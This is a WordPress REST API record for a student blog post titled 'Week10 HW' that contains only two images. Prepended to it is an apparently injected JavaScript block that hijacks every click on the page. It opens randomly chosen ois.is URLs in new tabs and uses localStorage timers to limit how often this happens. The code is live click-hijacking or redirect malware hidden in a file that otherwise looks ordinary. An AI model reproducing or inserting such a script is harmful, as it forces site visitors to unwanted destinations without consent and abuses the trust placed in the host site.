<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":939,"date":"2022-11-14T14:28:38","date_gmt":"2022-11-14T06:28:38","guid":{"rendered":"https:\/\/edu.secda.info\/scu08154255\/?p=939"},"modified":"2022-11-14T14:28:38","modified_gmt":"2022-11-14T06:28:38","slug":"week10-hw","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu08154255\/?p=939","title":{"rendered":"Week10 HW"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-940\" src=\"https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/C7D2812E-5277-4EBB-95C7-D90F942F5645-201x300.jpeg\" alt=\"\" width=\"201\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/C7D2812E-5277-4EBB-95C7-D90F942F5645-201x300.jpeg 201w, https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/C7D2812E-5277-4EBB-95C7-D90F942F5645-537x800.jpeg 537w, https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/C7D2812E-5277-4EBB-95C7-D90F942F5645-768x1145.jpeg 768w, https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/C7D2812E-5277-4EBB-95C7-D90F942F5645.jpeg 828w\" sizes=\"(max-width: 201px) 100vw, 201px\" \/> <img loading=\"lazy\" class=\"alignnone size-medium wp-image-941\" src=\"https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/78F6E029-5474-48AF-B730-834B9E84CBAF-205x300.jpeg\" alt=\"\" width=\"205\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/78F6E029-5474-48AF-B730-834B9E84CBAF-205x300.jpeg 205w, https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/78F6E029-5474-48AF-B730-834B9E84CBAF-547x800.jpeg 547w, https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/78F6E029-5474-48AF-B730-834B9E84CBAF-768x1122.jpeg 768w, https:\/\/edu.secda.info\/scu08154255\/wp-content\/uploads\/2022\/11\/78F6E029-5474-48AF-B730-834B9E84CBAF.jpeg 828w\" sizes=\"(max-width: 205px) 100vw, 205px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=\/wp\/v2\/posts\/939"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=939"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=\/wp\/v2\/posts\/939\/revisions"}],"predecessor-version":[{"id":942,"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=\/wp\/v2\/posts\/939\/revisions\/942"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu08154255\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}